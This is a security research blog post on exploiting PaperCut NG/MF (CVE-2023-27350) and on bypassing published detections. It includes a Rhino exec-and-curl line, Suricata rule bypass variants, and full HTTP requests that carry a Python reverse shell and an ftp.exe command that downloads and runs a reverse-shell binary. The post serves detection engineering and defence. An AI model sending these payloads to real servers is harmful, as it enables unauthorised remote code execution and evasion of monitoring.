Go back

PaperCut Exploitation - A Different Path to Code Execution

Jacob Baines@Junior_Baines

Key Takeaways

In mid-April attackers began exploiting a vulnerability in PaperCut NG and MF that was later assigned CVE-2023-27350.
Multiple security organizations published exploit detections and indicators of compromise, including Huntress, Horizon3.ai, Proofpoint, and Microsoft.
Today, VulnCheck published a proof-of-concept exploit that bypasses all published detections.
This report shows that detections that focus on one code execution method, or that focus on a small subset of techniques used by one threat actor, are doomed to be useless in the next round of attacks.
Since attackers learn from defenders' public detections, it's the defenders’ responsibility to produce robust detections that aren’t easily bypassed.


In mid-April, attackers began exploiting a vulnerability in PaperCut NG and MF. The exploited vulnerability would later be assigned CVE-2023-27350. Multiple security organizations have published exploit detections and indicators of compromise that assume attackers are executing code through PaperCut’s built-in scripting interface. However, VulnCheck researchers have found a proof-of-concept exploit that bypasses all published detections from Huntress, Horizon3.ai, Emerging Threats and Microsoft.

How did this happen? PaperCut NG and MF offer multiple paths to code execution. In this blog, we detail one such path and show how an attacker can avoid existing detections based on the defender's incorrect assumptions.

Before diving into the new code execution path, let’s look at the history of this vulnerability and survey the current exploits and detections that the security community has published.



  1. PaperCut Software released an advisory for two vulnerabilities discovered by Trend Micro’s ZDI program. The initial advisory contained no CVE identifiers, but instead referred to the vulnerabilities by their ZDI names: ZDI-CAN-18987 and ZDI-CAN-19226.

  2. Attacks in the wild began around this time.

  3. PaperCut Software updated their advisory to indicate the vulnerabilities had been exploited in the wild.

  4. CVE identifiers for the vulnerabilities were published. The authentication bypass was assigned CVE-2023-27350. The CVEs were published by ZDI, more than a month after they published their own advisories.

  5. Huntress Labs published a blog detailing exploitation in the wild. CISA added CVE-2023-27350 to the CISA KEV list. Public exploits demonstrating the bypass appeared on GitHub.

  6. Horizon3.ai published an exploit that demonstrated the bypass *and* executed arbitrary code.

  7. Microsoft attributes attacks in mid-April to TA505.

Public Exploits

At the time of writing, two public exploit variants use CVE-2023-27350 and execute arbitrary code on PaperCut NG and MF:

  1. Exploits that use the PaperCut print scripting interface to execute Windows commands (variations on the Horizon3.ai exploit).
  2. Exploits that use the print scripting interface to drop a malicious JAR (see this Metasploit pull request).

In both cases, the attacker abuses the system’s built-in JavaScript interface. The JavaScript engine is Rhino, which also allows that user to execute arbitrary Java. PaperCut Software implemented configuration options to lessen the risk of this arbitrary code execution vector, but since the attacker has full administrative access, those protections are easily disabled.

Horizon3.ai’s exploit uses the scripting interface to execute a single Windows command (whoami) and sends the response back to the attacker via curl:

java.lang.Runtime.getRuntime().exec('cmd.exe /C \"for /F \"usebackq delims=\" %A in (`whoami`) do curl\"');

Perhaps the main reason they didn’t establish a reverse shell is because the scripting engine has a five second timeout (see decompiled code below). The attacker cannot maintain execution in the engine itself; they have to migrate to another process.

decompiled papercut jar

The previously mentioned Metasploit module is interesting. It doesn’t use java.Runtime.getRuntime().exec(). Instead, it uses java.net.URLClassLoader to load a remote Java class. The loaded class will eventually drop a Meterpreter JAR to disk and execute it.

The Java-focused exploitation is useful because PaperCut NG and MF support Linux, Mac, and Windows. A Windows-only only attack is restricted to… only Windows victims. This approach treats all victims equally.

Unfortunately, while it sounds good on paper, the Metasploit attack is not great. The Meterpreter jar is more or less unobfuscated and well-known to be immediately flagged by Windows Defender (among other AV). As soon as it touches the disk, it’ll be removed. On Linux, where there is less likely to be any AV/EDR, the payload screams that it's malicious. The phrase “metasploit.Payload” literally appears in ps output.

papercut   40671  /home/papercut/runtime/linux-x64/jre/bin/java -classpath /tmp/~spawn8498983783261235927.tmp.dir metasploit.Payload
papercut   40689   \_ sh -c /bin/sh
papercut   40690       \_ /bin/sh

Either way, both approaches trigger detections that’ve been shared among the security community, so let’s look at those more closely.

Existing Detections

There have been three types of detections published so far.

  1. Detection via Sysmon (e.g. process creation analysis).
  2. Detection via log file analysis.
  3. Network signatures.

Sysmon Detections

The Sysmon (or sysmon-esque) detections have been offered up by Huntress and Sophos. Both essentially boil down to this:

If pc-app.exe creates a child process called cmd.exe or powershell.exe then an attacker is exploiting PaperCut NG/MF.

This is not unreasonable logic. It’s just insufficient. Already we’ve seen a PaperCut exploit that doesn’t wouldn’t trigger this detection. Below is Meterpreter being started by pc-app.exe using java.exe (note the “spawn” logic in the Java Meterpreter).

meterpreter jar spawned on windows

There are a whole slew of well-documented LOLBAS an attacker can abuse that would allow them to bypass these detections (as we’ll see later).

Log File Detections

Attacking PaperCut NG and MF via the print scripting interfaces leaves very distinctive entries in the server’s log file. Horizon3.ai noted variations of these entries as good indicators of compromise:

User "admin" logged into the administration interface.
User "admin" updated the config key “print.script.sandboxed”
User "admin" updated the config key “device.script.sandboxed”
Admin user "admin" modified the print script on printer

The first entry is generated by CVE-2023-27350 directly. But it's also generated by a normal admin user logging in. Alone, it doesn’t indicate a compromise. The other three entries are all associated with attacking the scripting interface(s). An attacker that doesn’t abuse this functionality won’t generate this particular log entries.

Network Signatures

Proof Point’s Open Emerging Threats contains signatures to detect the authentication bypass on the wire. The Suricata rule, modified for brevity, looks like so:

alert http any any -> $HOME_NET any ( \
    msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)"; \
    flow:established,to_server; \
    http.method; content:"GET"; \
    http.uri; content:"/app?service=page/SetupCompleted"; bsize:32; fast_pattern; \
    reference:cve,2023-27350; \
    classtype:attempted-admin; \
    sid:2045130; rev:1;)

The rule focuses on detecting the exploitation of the vulnerability itself, and not the post-authentication activity, which is likely smart. That’s a very smart approach, and it would detect the previously mentioned exploits.

However, an attacker interested in doing so can trivially bypass this signature (by using page//SetupCompleted or random=1&page/SetupCompleted, etc.).

A New Path to Exploitation

As an attacker, if you know a variety of detections will flag your nefarious activities you'll obviously do whatever it takes to bypass those detections. In the case of PaperCut NG and MF, however, all the attacker really needs to do is find a new path to code execution. A new path will prevent the bad log entries from being written, and then the attacker can use whatever LOLBAS bypass the process creation detections.

There are a few places the attacker can pivot to, but let’s look at how an attacker can abuse the PaperCut NG “User/Group Sync” logic. This interface allows the administrative user to specify a “Custom Program” to source and authenticate users.

PaperCut NG User/Group Sync

The user/auth programs can be any program on disk. That sounds great (for an attacker), but there are two caveats:

  1. The programs are initially executed without any attacker-controlled parameters.
  2. The auth program has to be interactive (e.g. the username and password are passed via stdin).

That is restrictive, but we’ve developed proof-of-concept exploits for both Linux and Windows:

  1. On Linux, set the auth program to /usr/sbin/python3.
  2. On Windows, set the auth program to C:\Windows\System32\ftp.exe.

Python3 as Auth Program

To execute arbitrary code, the attacker just needs to provide a malicious username and password during a login attempt. For example, on Linux we provide a typical Python reverse shell in the inputPassword parameter.

POST /app HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36 Edg/105.0.1343.33
Content-Length: 406
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=node01s8zloj765g3lirbwnppvw1qo279.node0
Accept-Encoding: gzip
service=direct/1/Home/$Form&sp=S0&$Submit$0=Log+in&inputUsername=help&inputPassword=import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1270));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")&Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection&$Hidden$0=true&$Hidden$1=X&$PropertySelection=en

The ps output is still suspicious, but at least the name of a famously malicious pentesting framework appear:

papercut   17572   \_ /home/papercut/server/bin/linux-x64/./app-monitor /home/papercut/server/bin/linux-x64/./app-monitor.conf wrapper.syslog.ident=paperc
papercut   17574    \_ ../runtime/linux-x64/jre/bin/pc-app -Djava.io.tmpdir=tmp -Dserver.home=. -Xverify:none -XX:+UseParallelOldGC -server -Dpc-reserv
papercut   43227        \_ /usr/bin/python3
papercut   43232            \_ /bin/sh

On the Windows side of things, we’ve chosen ftp.exe as our authentication program. ftp.exe will execute arbitrary commands if they are prepended with a bang (!). On the wire, that looks like this:

POST /app HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36 Edg/105.0.1343.33
Content-Length: 360
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=node012xt0dzcjh0dy5wz7uvh9m26f23.node0
Accept-Encoding: gzip
Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection&$PropertySelection=en&inputUsername=dir&service=direct/1/Home/$Form&sp=S0&$Hidden$0=true&$Hidden$1=X&$Submit$0=Log+in&inputPassword=!curl -s -A Mozilla/5.0 -o C:\ProgramData\AXtJxdUwlfJl.exe %26 C:\ProgramData\AXtJxdUwlfJl.exe 1270

The attack we’ve chosen is really quite basic. The inputPassword contains logic to download a binary to C:\ProgramData\ and execute it. In our case, this binary is a custom reverse shell (written in Go). The result is that cmd.exe is never a direct child of pc-app.exe. The process tree is: pc-app.exe -> ftp.exe -> cmd.exe -> AXtJxdUwlfJI.exe.

Process creation events

The process tree, quite obviously, demonstrates poor tradecraft, but it’s sufficient to work around the published process-creation-based detections discussed earlier.

Importantly, because this approach doesn’t use a scripting interface, this attack also doesn’t generate the expected log entries. An attack using the “User/Group” custom program will generate logs that look more like this:

User/Group Sync settings changed by "admin"
User "admin" logged into the administration interface.

The full result is that we can establish reverse shells on both Windows and Linux targets without triggering any detections.


An administrative user attacking PaperCut NG and MF can follow multiple paths to arbitrary code execution. Detections that focus on one particular code execution method, or that focus on a small subset of techniques used by one threat actor are doomed to be useless in the next round of attacks. Attackers learn from defenders' public detections, so it’s the defenders’ responsibility to produce robust detections that aren’t easily bypassed.